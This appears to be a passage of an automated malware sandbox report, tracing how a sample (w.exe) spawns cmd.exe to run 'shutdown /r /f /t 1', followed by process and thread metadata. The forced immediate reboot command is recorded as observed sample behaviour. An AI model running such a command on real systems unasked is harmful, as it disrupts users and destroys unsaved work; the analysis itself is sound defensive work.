	[0120.550] _wcsicmp (_String1="shutdown", _String2="VOL") returned -3
	[0120.550] _wcsicmp (_String1="shutdown", _String2="EXIT") returned 14
	[0120.550] _wcsicmp (_String1="shutdown", _String2="SETLOCAL") returned 3
	[0120.550] _wcsicmp (_String1="shutdown", _String2="ENDLOCAL") returned 14
	[0120.550] _wcsicmp (_String1="shutdown", _String2="TITLE") returned -1
	[0120.550] _wcsicmp (_String1="shutdown", _String2="START") returned -12
	[0120.550] _wcsicmp (_String1="shutdown", _String2="DPATH") returned 15
	[0120.550] _wcsicmp (_String1="shutdown", _String2="KEYS") returned 8
	[0120.550] _wcsicmp (_String1="shutdown", _String2="MOVE") returned 6
	[0120.550] _wcsicmp (_String1="shutdown", _String2="PUSHD") returned 3
	[0120.550] _wcsicmp (_String1="shutdown", _String2="POPD") returned 3
	[0120.550] _wcsicmp (_String1="shutdown", _String2="ASSOC") returned 18
	[0120.550] _wcsicmp (_String1="shutdown", _String2="FTYPE") returned 13
	[0120.550] _wcsicmp (_String1="shutdown", _String2="BREAK") returned 17
	[0120.550] _wcsicmp (_String1="shutdown", _String2="COLOR") returned 16
	[0120.550] _wcsicmp (_String1="shutdown", _String2="MKLINK") returned 6
	[0120.551] _wcsicmp (_String1="shutdown", _String2="DIR") returned 15
	[0120.551] _wcsicmp (_String1="shutdown", _String2="ERASE") returned 14
	[0120.551] _wcsicmp (_String1="shutdown", _String2="DEL") returned 15
	[0120.551] _wcsicmp (_String1="shutdown", _String2="TYPE") returned -1
	[0120.551] _wcsicmp (_String1="shutdown", _String2="COPY") returned 16
	[0120.551] _wcsicmp (_String1="shutdown", _String2="CD") returned 16
	[0120.551] _wcsicmp (_String1="shutdown", _String2="CHDIR") returned 16
	[0120.551] _wcsicmp (_String1="shutdown", _String2="RENAME") returned 1
	[0120.551] _wcsicmp (_String1="shutdown", _String2="REN") returned 1
	[0120.551] _wcsicmp (_String1="shutdown", _String2="ECHO") returned 14
	[0120.551] _wcsicmp (_String1="shutdown", _String2="SET") returned 3
	[0120.551] _wcsicmp (_String1="shutdown", _String2="PAUSE") returned 3
	[0120.551] _wcsicmp (_String1="shutdown", _String2="DATE") returned 15
	[0120.551] _wcsicmp (_String1="shutdown", _String2="TIME") returned -1
	[0120.551] _wcsicmp (_String1="shutdown", _String2="PROMPT") returned 3
	[0120.551] _wcsicmp (_String1="shutdown", _String2="MD") returned 6
	[0120.551] _wcsicmp (_String1="shutdown", _String2="MKDIR") returned 6
	[0120.551] _wcsicmp (_String1="shutdown", _String2="RD") returned 1
	[0120.551] _wcsicmp (_String1="shutdown", _String2="RMDIR") returned 1
	[0120.551] _wcsicmp (_String1="shutdown", _String2="PATH") returned 3
	[0120.551] _wcsicmp (_String1="shutdown", _String2="GOTO") returned 12
	[0120.551] _wcsicmp (_String1="shutdown", _String2="SHIFT") returned 12
	[0120.551] _wcsicmp (_String1="shutdown", _String2="CLS") returned 16
	[0120.551] _wcsicmp (_String1="shutdown", _String2="CALL") returned 16
	[0120.551] _wcsicmp (_String1="shutdown", _String2="VERIFY") returned -3
	[0120.551] _wcsicmp (_String1="shutdown", _String2="VER") returned -3
	[0120.551] _wcsicmp (_String1="shutdown", _String2="VOL") returned -3
	[0120.551] _wcsicmp (_String1="shutdown", _String2="EXIT") returned 14
	[0120.551] _wcsicmp (_String1="shutdown", _String2="SETLOCAL") returned 3
	[0120.551] _wcsicmp (_String1="shutdown", _String2="ENDLOCAL") returned 14
	[0120.551] _wcsicmp (_String1="shutdown", _String2="TITLE") returned -1
	[0120.551] _wcsicmp (_String1="shutdown", _String2="START") returned -12
	[0120.552] _wcsicmp (_String1="shutdown", _String2="DPATH") returned 15
	[0120.552] _wcsicmp (_String1="shutdown", _String2="KEYS") returned 8
	[0120.552] _wcsicmp (_String1="shutdown", _String2="MOVE") returned 6
	[0120.552] _wcsicmp (_String1="shutdown", _String2="PUSHD") returned 3
	[0120.552] _wcsicmp (_String1="shutdown", _String2="POPD") returned 3
	[0120.552] _wcsicmp (_String1="shutdown", _String2="ASSOC") returned 18
	[0120.552] _wcsicmp (_String1="shutdown", _String2="FTYPE") returned 13
	[0120.552] _wcsicmp (_String1="shutdown", _String2="BREAK") returned 17
	[0120.552] _wcsicmp (_String1="shutdown", _String2="COLOR") returned 16
	[0120.552] _wcsicmp (_String1="shutdown", _String2="MKLINK") returned 6
	[0120.552] _wcsicmp (_String1="shutdown", _String2="FOR") returned 13
	[0120.552] _wcsicmp (_String1="shutdown", _String2="IF") returned 10
	[0120.552] _wcsicmp (_String1="shutdown", _String2="REM") returned 1
	[0120.552] GetProcessHeap () returned 0x4f0000
	[0120.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x210) returned 0x503180
	[0120.552] GetProcessHeap () returned 0x4f0000
	[0120.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x32) returned 0x503398
	[0120.552] _wcsnicmp (_String1="shut", _String2="cmd ", _MaxCount=0x4) returned 16
	[0120.553] GetProcessHeap () returned 0x4f0000
	[0120.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x418) returned 0x4f07f0
	[0120.553] SetErrorMode (uMode=0x0) returned 0x8003
	[0120.553] SetErrorMode (uMode=0x1) returned 0x0
	[0120.553] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4f07f8, lpFilePart=0x41ef24 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41ef24*="Desktop") returned 0x25
	[0120.553] SetErrorMode (uMode=0x8003) returned 0x1
	[0120.553] GetProcessHeap () returned 0x4f0000
	[0120.553] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4f07f0, Size=0x66) returned 0x4f07f0
	[0120.553] GetProcessHeap () returned 0x4f0000
	[0120.553] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x4f07f0) returned 0x66
	[0120.553] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a200640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0120.553] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0120.553] GetProcessHeap () returned 0x4f0000
	[0120.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x120) returned 0x5033d8
	[0120.553] GetProcessHeap () returned 0x4f0000
	[0120.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x238) returned 0x4f0860
	[0120.555] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\shutdown.*", fInfoLevelId=0x1, lpFindFileData=0x41eca0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eca0) returned 0xffffffff
	[0120.555] GetLastError () returned 0x2
	[0120.556] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\shutdown", fInfoLevelId=0x1, lpFindFileData=0x41eca0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eca0) returned 0xffffffff
	[0120.556] GetLastError () returned 0x2
	[0120.556] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\shutdown.*", fInfoLevelId=0x1, lpFindFileData=0x41eca0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eca0) returned 0x503500
	[0120.556] GetProcessHeap () returned 0x4f0000
	[0120.556] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x503540
	[0120.556] FindClose (in: hFindFile=0x503500 | out: hFindFile=0x503500) returned 1
	[0120.556] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\shutdown.COM", fInfoLevelId=0x1, lpFindFileData=0x41eca0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eca0) returned 0xffffffff
	[0120.556] GetLastError () returned 0x2
	[0120.556] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\shutdown.EXE", fInfoLevelId=0x1, lpFindFileData=0x41eca0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eca0) returned 0x503500
	[0120.556] GetProcessHeap () returned 0x4f0000
	[0120.556] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x503540, Size=0x4) returned 0x503540
	[0120.556] FindClose (in: hFindFile=0x503500 | out: hFindFile=0x503500) returned 1
	[0120.556] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0120.556] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0120.556] GetConsoleTitleW (in: lpConsoleTitle=0x41f198, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0120.557] InitializeProcThreadAttributeList (in: lpAttributeList=0x41f020, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x41f0e8 | out: lpAttributeList=0x41f020, lpSize=0x41f0e8) returned 1
	[0120.557] UpdateProcThreadAttribute (in: lpAttributeList=0x41f020, dwFlags=0x0, Attribute=0x60001, lpValue=0x41f0e0, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x41f020, lpPreviousValue=0x0) returned 1
	[0120.557] GetStartupInfoW (in: lpStartupInfo=0x41efdc | out: lpStartupInfo=0x41efdc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xcc, hStdOutput=0xd4, hStdError=0xd8)) 
	[0120.572] CloseHandle (hObject=0x74) returned 1
	[0120.572] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0120.572] GetProcessHeap () returned 0x4f0000
	[0120.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505eb8 | out: hHeap=0x4f0000) returned 1
	[0120.572] GetEnvironmentStringsW () returned 0x514a30*
	[0120.572] GetProcessHeap () returned 0x4f0000
	[0120.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb36) returned 0x504078
	[0120.572] FreeEnvironmentStringsW (penv=0x514a30) returned 1
	[0120.572] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0120.806] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x41efbc | out: lpExitCode=0x41efbc*=0x0) returned 1
	[0120.806] CloseHandle (hObject=0x78) returned 1
	[0120.806] _vsnwprintf (in: _Buffer=0x41f104, _BufferCount=0x13, _Format="%08X", _ArgList=0x41efc8 | out: _Buffer="00000000") returned 8
	[0120.806] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0120.806] GetProcessHeap () returned 0x4f0000
	[0120.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504078 | out: hHeap=0x4f0000) returned 1
	[0120.806] GetEnvironmentStringsW () returned 0x504078*
	[0120.806] GetProcessHeap () returned 0x4f0000
	[0120.806] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb5c) returned 0x505eb8
	[0120.806] FreeEnvironmentStringsW (penv=0x504078) returned 1
	[0120.806] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0120.806] GetProcessHeap () returned 0x4f0000
	[0120.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505eb8 | out: hHeap=0x4f0000) returned 1
	[0120.806] GetEnvironmentStringsW () returned 0x504078*
	[0120.806] GetProcessHeap () returned 0x4f0000
	[0120.806] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb5c) returned 0x505eb8
	[0120.806] FreeEnvironmentStringsW (penv=0x504078) returned 1
	[0120.806] GetProcessHeap () returned 0x4f0000
	[0120.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ffec8 | out: hHeap=0x4f0000) returned 1
	[0120.806] DeleteProcThreadAttributeList (in: lpAttributeList=0x41f020 | out: lpAttributeList=0x41f020) 
	[0120.807] _get_osfhandle (_FileHandle=1) returned 0xd4
	[0120.807] SetConsoleMode (hConsoleHandle=0xd4, dwMode=0x0) returned 0
	[0120.807] _get_osfhandle (_FileHandle=1) returned 0xd4
	[0120.807] GetConsoleMode (in: hConsoleHandle=0xd4, lpMode=0x4a1f41ac | out: lpMode=0x4a1f41ac) returned 0
	[0120.807] _get_osfhandle (_FileHandle=0) returned 0xcc
	[0120.807] GetConsoleMode (in: hConsoleHandle=0xcc, lpMode=0x4a1f41b0 | out: lpMode=0x4a1f41b0) returned 0
	[0120.807] GetConsoleOutputCP () returned 0x1b5
	[0120.807] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a1f4260 | out: lpCPInfo=0x4a1f4260) returned 1
	[0120.807] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0120.807] exit (_Code=0) 

Process:
	id = "83"
	image_name = "shutdown.exe"
	filename = "c:\\windows\\syswow64\\shutdown.exe"
	page_root = "0x2ff60000"
	os_pid = "0x8c8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "82"
	os_parent_pid = "0x8c4"
	cmd_line = "shutdown  /r /f /t 1"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 360
	os_tid = 0x8d4


Thread:
	id = 361
	os_tid = 0x8a8


Process:
	id = "84"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x8bed000"
	os_pid = "0x334"
	os_integrity_level = "0x4000"
	os_privileges = "0x60b16080"
	monitor_reason = "rpc_server"
	parent_id = "4"
	os_parent_pid = "0x36c"
	cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "64"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ba6f" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 364
	os_tid = 0xb88


Thread:
	id = 365
	os_tid = 0x7bc


Thread:
	id = 366
	os_tid = 0x658


Thread:
	id = 367
	os_tid = 0x584


Thread:
	id = 368
	os_tid = 0x728


Thread:
	id = 369
	os_tid = 0x674


Thread:
	id = 370
	os_tid = 0x65c


Thread:
	id = 371
	os_tid = 0x144


Thread:
	id = 372
	os_tid = 0x118


Thread:
	id = 373
	os_tid = 0x3ec


Thread:
	id = 374
	os_tid = 0x3e8


Thread:
	id = 375
	os_tid = 0x3e0


Thread:
	id = 376
	os_tid = 0x3dc


Thread:
	id = 377
	os_tid = 0x3cc


Thread:
	id = 378
	os_tid = 0x3c8


Thread:
	id = 379
	os_tid = 0x388


Thread:
	id = 380
	os_tid = 0x384


Thread:
	id = 381
	os_tid = 0x380


Thread:
	id = 382
	os_tid = 0x37c


Thread:
	id = 383
	os_tid = 0x364


Thread:
	id = 384
	os_tid = 0x34c


Thread:
	id = 385
	os_tid = 0x338


Thread:
	id = 398
	os_tid = 0xa9c


Process:
	id = "85"
	image_name = "wmiprvse.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe"
	page_root = "0x11925000"
	os_pid = "0xbcc"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "4"
	os_parent_pid = "0x36c"
	cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Network Service"
	bitness = "64"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:000dcac9" [0xc000000f]


Thread:
	id = 387
	os_tid = 0x5f4


Thread:
	id = 388
	os_tid = 0xb18


Thread:
	id = 389
	os_tid = 0xb20


Thread:
	id = 390
	os_tid = 0x89c


Thread:
	id = 391
	os_tid = 0x894


Thread:
	id = 392
	os_tid = 0xbd0


Thread:
	id = 393
	os_tid = 0xbd4


Thread:
	id = 394
	os_tid = 0x694


Thread:
	id = 395
	os_tid = 0x6b4


Thread:
	id = 399
	os_tid = 0x844


Thread:
	id = 400
	os_tid = 0x838